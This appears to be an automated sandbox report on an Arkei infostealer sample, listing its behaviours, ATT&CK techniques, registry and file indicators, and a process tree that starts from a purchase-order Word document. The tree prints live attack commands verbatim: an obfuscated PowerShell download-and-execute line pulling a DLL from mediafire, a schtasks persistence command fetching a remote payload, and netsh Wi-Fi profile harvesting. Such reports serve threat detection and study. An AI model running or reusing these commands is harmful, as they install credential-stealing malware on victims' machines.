arkei | e79cbe266df0e4a6a72b6be67d0d0d4dc276ee4559c627a3dfd73dd1859af7f5

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	ddond.com

Loads dropped DLL 4 IoCs

pid	Process
2144	aspnet_compiler.exe
2144	aspnet_compiler.exe
3700	aspnet_regbrowsers.exe
3700	aspnet_regbrowsers.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	CasPol.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Windows\assembly\Desktop.ini	RegAsm.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	RegAsm.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
60	checkip.dyndns.org

Drops file in System32 directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\1DT000R9	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\4W4OPHD2	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\9ZUS2DTR	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\NOP8QQIW	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\OZUAIEKX	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\SR1DJ58G	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\NOP8QQIW	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\SR1DJ58G	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\TJMY5FKX	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\TJMY5FKX	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\4W4OPHD2	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\O8Q168Y5	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\O8Q168Y5	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\9ZUS2DTR	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\OZUAIEKX	aspnet_compiler.exe
File created	C:\Windows\SysWOW64\1DT000R9	aspnet_compiler.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4080 set thread context of 3700	4080	powershell.exe	103
PID 4080 set thread context of 2144	4080	powershell.exe	104
PID 4080 set thread context of 3056	4080	powershell.exe	109
PID 4080 set thread context of 2276	4080	powershell.exe	111

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\assembly	RegAsm.exe
File created	C:\Windows\assembly\Desktop.ini	RegAsm.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4528	3700	WerFault.exe	103

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1848	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
232	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 3 IoCs

evasion

pid	Process
3524	taskkill.exe
3732	taskkill.exe
4892	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ddond.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ddond.com

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1576	WINWORD.EXE
1576	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
2276	RegAsm.exe
3056	CasPol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	3732	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeDebugPrivilege	3524	taskkill.exe
Token: SeDebugPrivilege	2276	RegAsm.exe
Token: SeDebugPrivilege	3056	CasPol.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1576	WINWORD.EXE
1576	WINWORD.EXE
1576	WINWORD.EXE
1576	WINWORD.EXE
1576	WINWORD.EXE
1576	WINWORD.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
4196	EXCEL.EXE
2276	RegAsm.exe
3056	CasPol.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 1948	1576	WINWORD.EXE	83
PID 1576 wrote to memory of 1948	1576	WINWORD.EXE	83
PID 4196 wrote to memory of 4100	4196	EXCEL.EXE	85
PID 4196 wrote to memory of 4100	4196	EXCEL.EXE	85
PID 324 wrote to memory of 4080	324	ddond.com	87
PID 324 wrote to memory of 4080	324	ddond.com	87
PID 324 wrote to memory of 1848	324	ddond.com	88
PID 324 wrote to memory of 1848	324	ddond.com	88
PID 324 wrote to memory of 3524	324	ddond.com	91
PID 324 wrote to memory of 3524	324	ddond.com	91
PID 324 wrote to memory of 3732	324	ddond.com	92
PID 324 wrote to memory of 3732	324	ddond.com	92
PID 324 wrote to memory of 4892	324	ddond.com	95
PID 324 wrote to memory of 4892	324	ddond.com	95
PID 4080 wrote to memory of 1772	4080	powershell.exe	100
PID 4080 wrote to memory of 1772	4080	powershell.exe	100
PID 1772 wrote to memory of 2260	1772	csc.exe	101
PID 1772 wrote to memory of 2260	1772	csc.exe	101
PID 4080 wrote to memory of 3664	4080	powershell.exe	102
PID 4080 wrote to memory of 3664	4080	powershell.exe	102
PID 4080 wrote to memory of 3664	4080	powershell.exe	102
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 3700	4080	powershell.exe	103
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 2144	4080	powershell.exe	104
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 3056	4080	powershell.exe	109
PID 4080 wrote to memory of 4944	4080	powershell.exe	110
PID 4080 wrote to memory of 4944	4080	powershell.exe	110
PID 4080 wrote to memory of 4944	4080	powershell.exe	110
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 4080 wrote to memory of 2276	4080	powershell.exe	111
PID 3056 wrote to memory of 4236	3056	CasPol.exe	112
PID 3056 wrote to memory of 4236	3056	CasPol.exe	112
PID 3056 wrote to memory of 4236	3056	CasPol.exe	112
PID 2276 wrote to memory of 100	2276	RegAsm.exe	114

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\GBE_PO_3000105160.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1948

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\SYSTEM32\WSCRIPT.exe
  WSCRIPT C:\Users\Public\update.js
  2⤵
  - Process spawned unexpected child process
  PID:4100

C:\ProgramData\ddond.com
C:\ProgramData\ddond.com https://www.mediafire.com/file/87j3bj0ks0asu58/3.htm/file
1⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/2xfbajsftslryfu/3.dll/file'))));Invoke-Expression $MMMMMMM
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iqfr20di\iqfr20di.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EC3.tmp" "c:\Users\Admin\AppData\Local\Temp\iqfr20di\CSC15E1C9898C1B431E86E078746E3DA2F.TMP"
      4⤵
      PID:2260
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    PID:3664
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    PID:3700
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 1340
      4⤵
      Program crash
      PID:4528
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
    3⤵
    - Loads dropped DLL
    - Drops file in System32 directory
    - Checks processor information in registry
    PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe" & exit
      4⤵
      PID:664
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:232
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" wlan show profile
      4⤵
      PID:4236
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
    3⤵
    PID:4944
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Drops desktop.ini file(s)
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2276
  - - C:\Windows\SysWOW64\netsh.exe
      "netsh" wlan show profile
      4⤵
      PID:100
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 83 /tn calsaasdendersw /F /tr """C:\ProgramData\milon.com""""""https://www.mediafire.com/file/ynfsesd18cv2njq/3.htm/file"""
  2⤵
  - Creates scheduled task(s)
  PID:1848
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3524
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im POWERPNT.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3700 -ip 3700
1⤵
PID:1428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery